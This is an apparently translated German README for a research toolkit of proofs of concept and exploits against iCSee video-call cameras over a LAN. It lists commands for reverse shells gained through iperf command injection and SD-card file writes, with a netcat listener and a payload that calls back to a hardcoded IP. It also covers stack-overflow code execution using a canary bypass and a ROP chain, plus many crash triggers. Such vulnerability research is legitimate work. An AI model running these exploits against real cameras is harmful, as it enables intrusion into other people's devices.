
Dies ist eine Suite von Tools/PoCs/Exploits für Kameras, die die iCSee-Anwendung verwenden. Und ja – es kann NES-Spiele ausführen!
Dies ist eine Sammlung von Tools/PoCs/Exploits, die für iCSee-Videoanrufkameras über LAN verwendet werden können (und möglicherweise auch für Nicht-Videoanrufkameras). Dies könnte leicht verwendet werden, um alternative Firmware als Ersatz für die SD-Karten-Update-Methode zu flashen.
Hinweis: Jeder Speicherkorruptions-Exploit funktioniert nur, wenn die Firmwareversion Ihrer Kamera V5.00.R02.000949U5.10000.141324.0000010 oder V5.00.R02.000807E5.10000.346724.0000010 ist – diese Exploits basieren auf festen Offsets, die sich bei jedem Firmware-Build ändern.
[0] Aufzählung, Zerlegung und Firmware-Extraktion
[1] Die Sprache der Kameras lernen
[2] Nutzlose Integer-Überläufe und einige nützliche Fehler finden
[3] Tod durch Stack-Überläufe + Canary-Spaß
[5] Andere Kamera, gleiche App
[6] Bestätigung + vollständiger Speicherkorruptions-Exploit auf zweiter Kamera
[7] NES-Spiele auf der Kamera emulieren
pycryptodome : Für RSA-Login-Verschlüsselungpwntools : Für Shellcodepyftpdlib : Für FTP-Serverpynput : Für NES-Tastatureingabeget_system_infoDies nutzt die get_system_info-Methode, um Informationen über die Kamera über Port 34567 abzurufen.
python3 icseeu.py get_system_info
{
"Name": "SystemInfo",
"Ret": 100,
"SessionID": "0x0001869f",
"SystemInfo": {
"AlarmInChannel": 0,
"AlarmOutChannel": 0,
"AudioInChannel": 1,
"BuildTime": "2024-06-27 10:33:41",
"CombineSwitch": 0,
"DeviceModel": "IPC_GK7201V300_G2-WR-V_S38",
"DeviceRunTime": "0x000026c6",
"DeviceType": 7,
"DigChannel": 0,
"EncryptVersion": "Unknown",
"ExtraChannel": 0,
"HardWare": "IPC_GK7201V300_G2-WR-V_S38",
"HardWareVersion": "Unknown",
"Pid": "A909409U5000000N",
"SerialNo": "bf7816d59506ec06",
"SoftWareVersion": "V5.00.R02.000949U5.10000.141324.0000010",
"TalkInChannel": 1,
"TalkOutChannel": 1,
"UpdataTime": "",
"UpdataType": "0x00000000",
"VideoInChannel": 1,
"VideoOutChannel": 1
}
}
ftp_get_logsNutzt eine verbleibende Textfunktionalität, um Protokolle vom Gerät zu ziehen (Protokolle landen in FTPTestDir/Test).
python3 icseeu.py ftp_get_logs
gdb_revshellNutzt eine SD-Karten-Datei-Schreibschwachstelle und die iperf-Binary-Ausführungsschwachstelle, die die ferne Ausführung eines auf der SD-Karte vorhandenen Binärprogramms ermöglicht, um eine Reverse Shell zu erhalten und einen GDB-Debugger zu starten, der sich an den Haupt-App-Prozess anhängt.
Terminal 1:
nc -l 1234
Terminal 2:
python3 icseeu.py gdb_revshell
Terminal 3:
gdb-multiarch
gef-remote 192.168.188.2 8888
Hinweis: Stoppen Sie das Programm nicht länger als 30 Sekunden, da der Watchdog sonst protestiert und der App-Prozess neu gestartet wird!
Hinweis 2: Möglicherweise müssen Sie die fest codierten IP-Adressen im Payload (GDB_Revshell/remote_mgmt.c) so ändern, dass sie die IP Ihres Rechners im LAN ist, und den Payload neu erstellen.
gdb_revshell_injectNutzt eine SD-Karten-Datei-Schreibschwachstelle und die iperf-Befehlseinschleusungsschwachstelle, die die ferne Ausführung eines auf der SD-Karte vorhandenen Binärprogramms ermöglicht, um eine Reverse Shell zu erhalten und einen GDB-Debugger zu starten, der sich an den Haupt-App-Prozess anhängt.
Dies ist nützlich für Geräte, die bereits ein iperf-Binary besitzen, was die andere Methode verhindert.
Terminal 1:
nc -l 1234
Terminal 2:
python3 icseeu.py gdb_revshell_inject
Terminal 3:
gdb-multiarch
gef-remote 192.168.188.2 8888
Hinweis: Stoppen Sie das Programm nicht länger als 30 Sekunden, da der Watchdog sonst protestiert und der App-Prozess neu gestartet wird!
Hinweis 2: Möglicherweise müssen Sie die fest codierten IP-Adressen im Payload (GDB_Revshell/remote_mgmt.c) so ändern, dass sie die IP Ihres Rechners im LAN ist, und den Payload neu erstellen.
iperf_inject_exploitNutzt die iperf-Befehlseinschleusung, um eine Reverse Shell herzustellen.
Terminal 1:
nc -l 1234
Terminal 2:
python3 icseeu.py iperf_inject_exploit
Hinweis: Möglicherweise müssen Sie die fest codierten IP-Adressen im Payload (Revshell_Inject/remote_mgmt.c) so ändern, dass sie die IP Ihres Rechners im LAN ist, und den Payload neu erstellen.
Dies sind Exploits für den zweiten Stack-Überlauf im Handler für den Nachrichtentyp 0x7d8. Dieser Überlauf ist interessant, weil er es ermöglicht, die Stack-Canary zu umgehen und Codeausführung zu erlangen.
Sie müssen den Dispatcher-Payload erstellen, bevor diese funktionieren (führen Sie make im Verzeichnis PayloadDispatcher aus), und den Payload, den Sie auf der Kamera ausführen möchten, indem Sie make in den entsprechenden Verzeichnissen ausführen (z. B. ImageDisplay).
Hinweise:
screenflashZeigt, dass wir Codeausführung haben, indem der Bildschirm blinkt.
python3 icseeu.py exploit_goke screenflash
rgbZeigt, dass wir Kontrolle über den Bildschirm haben, indem RGB-Farben blinken.
python3 icseeu.py exploit_goke rgb
imagedisplayNutzt das Dateischreiben, um ein rohes RGB 5:6:5-Bild hochzuladen. Führen Sie ffmpeg -i image.jpg -vf scale=240:320 -c:v rawvideo -pix_fmt rgb565 -f rawvideo image.raw auf einem Bild im Verzeichnis aus, um eine image.raw-Datei im Verzeichnis ImageDisplay zu erhalten, damit dies funktioniert. Das Bild wird auf dem Bildschirm angezeigt.
python3 icseeu.py exploit_goke imagedisplay
buttontestZeigt, dass wir den Zustand der Tasten lesen können; blinkt eine Farbe, wenn eine der Tasten gedrückt wird.
python3 icseeu.py exploit_goke buttontest
pongEine minimale Implementierung des Pong-Spiels, die zeigt, dass wir Kontrolle über den Bildschirm und die Tasten vorne haben; demonstriert auch einen etwas komplexeren Payload.
python3 icseeu.py exploit_goke pong
nesEin portierter NES-Emulator, der die in GOKE_Payloads/nes abgelegte rom.nes abspielen kann. Führen Sie make in GOKE_Payloads/nes/smolnes und GOKE_Payload/nes aus, um Binärdateien zu erstellen.
python3 icseeu.py exploit_goke nes
Dies ist ein Exploit für einen Stack-Überlauf auf einer anderen Kamera ohne Stack-Canaries, aber mit NX. Ich habe eine ROP-Kette geschrieben, um den Stack umzulagern und die Ausführung einer großen ROP-Kette zu erreichen; diese ROP-Kette bildet ausführbaren Speicher ab, lädt den Inhalt einer Datei in den Speicher, erzeugt einen Thread, der ihn ausführt, repariert dann den Stack-Zustand und setzt die Ausführung fort.
Sie müssen den Payload erstellen, bevor diese funktionieren. Führen Sie make in den entsprechenden Verzeichnissen aus (z. B. ImageDisplay).
Hinweise:
screenflashZeigt, dass wir Codeausführung haben, indem der Bildschirm blinkt.
python3 icseeu.py exploit_xm530 screenflash
rgbZeigt, dass wir Kontrolle über den Bildschirm haben, indem RGB-Farben blinken.
python3 icseeu.py exploit_xm530 rgb
imagedisplayNutzt das Dateischreiben, um ein rohes RGB 5:6:5-Bild hochzuladen. Führen Sie ffmpeg -i image.jpg -vf scale=240:320 -c:v rawvideo -pix_fmt rgb565be -f rawvideo image.raw auf einem Bild im Verzeichnis aus, um eine image.raw-Datei im Verzeichnis ImageDisplay zu erhalten, damit dies funktioniert. Das Bild wird auf dem Bildschirm angezeigt.
python3 icseeu.py exploit_xm530 imagedisplay
Weitere Details zu diesen Proof-of-Concepts (und deren zugrundeliegenden Ursachen) finden Sie in den Blogs oben in dieser Readme.
integer_underflow_httpDieses PoC verursacht einen Absturz aufgrund eines Integer-Unterlaufs im HTTP-Server.
python3 icseeu.py integer_underflow_http
iperf_runDieses PoC führt die auf der SD-Karte unter iperf/iperf gespeicherte Datei aus (entweder ash-Skript oder Binärdatei).
python3 icseeu.py iperf_run
iperf_injectDieses PoC führt den Befehl reboot über eine Befehlseinschleusung aus; die Datei iperf/iperf muss auf der SD-Karte vorhanden sein, damit dies funktioniert.
python3 icseeu.py iperf_inject
assert_trigger_0x41aDieses PoC löst eine Assertion aufgrund einer großen Speicherzuweisung im Handler des Nachrichtentyps 0x41a aus (verursacht einen Absturz).
python3 icseeu.py assert_trigger_0x41a
integer_overflow_0x41aDieses PoC löst einen Absturz aufgrund eines Integer-Überlaufs aus, der einen seltsamen OOB-Lesevorgang im Handler des Nachrichtentyps 0x41a verursacht.
python3 icseeu.py integer_overflow_0x41a
stack_overflow_0x43aDieses PoC löst einen Absturz aufgrund eines Stack-Überlaufs im Handler des Nachrichtentyps 0x43a aus.
python3 icseeu.py stack_overflow_0x43a
stack_overflow_0x438_1Dieses PoC löst einen Absturz aufgrund des ersten Stack-Überlaufs im Handler des Nachrichtentyps 0x438 aus.
python3 icseeu.py stack_overflow_0x438_1
stack_overflow_0x438_2Dieses PoC löst einen Absturz aufgrund des zweiten Stack-Überlaufs im Handler des Nachrichtentyps 0x438 aus.
python3 icseeu.py stack_overflow_0x438_2
stack_overflow_0xdacDieses PoC löst einen Absturz aufgrund eines Stack-Überlaufs im Handler des Nachrichtentyps 0xdac aus.
python3 icseeu.py stack_overflow_0xdac
stack_overflow_0x5a4Dieses PoC löst einen Absturz aufgrund eines Stack-Überlaufs im Handler des Nachrichtentyps 0x5a4 aus.
python3 icseeu.py stack_overflow_0x5a4
stack_overflow_0x414Dieses PoC löst einen Absturz aufgrund eines Stack-Überlaufs im Handler des Nachrichtentyps 0x414 aus.
python3 icseeu.py stack_overflow_0x414
stack_overflow_0x410_1Dieses PoC löst einen Absturz aufgrund des ersten Stack-Überlaufs im Handler des Nachrichtentyps 0x410 aus.
python3 icseeu.py stack_overflow_0x438_1
stack_overflow_0x410_2Dieses PoC löst einen Absturz aufgrund des zweiten Stack-Überlaufs im Handler des Nachrichtentyps 0x410 aus.
python3 icseeu.py stack_overflow_0x410_2
stack_overflow_0x5a8Dieses PoC löst einen Absturz aufgrund eines Stack-Überlaufs im Handler des Nachrichtentyps 0x5a8 aus.
python3 icseeu.py stack_overflow_0x5a8
stack_overflow_0x41eDieses PoC löst einen Absturz aufgrund eines Stack-Überlaufs im Handler des Nachrichtentyps 0x41e aus.
python3 icseeu.py stack_overflow_0x41e
stack_overflow_0x7d8_1Dieses PoC löst einen Absturz aufgrund des ersten Stack-Überlaufs im Handler des Nachrichtentyps 0x7d8 aus.
python3 icseeu.py stack_overflow_0x7d8_1
stack_overflow_0x7d8_2Dieses PoC löst einen Absturz aufgrund des zweiten Stack-Überlaufs im Handler des Nachrichtentyps 0x7d8 aus.
python3 icseeu.py stack_overflow_0x7d8_2
stack_overflow_0x8a6Dieses PoC löst einen Absturz aufgrund eines Stack-Überlaufs im Handler des Nachrichtentyps 0x8a6 aus (nicht auf allen Kameras vorhanden).
python3 icseeu.py stack_overflow_0x8a6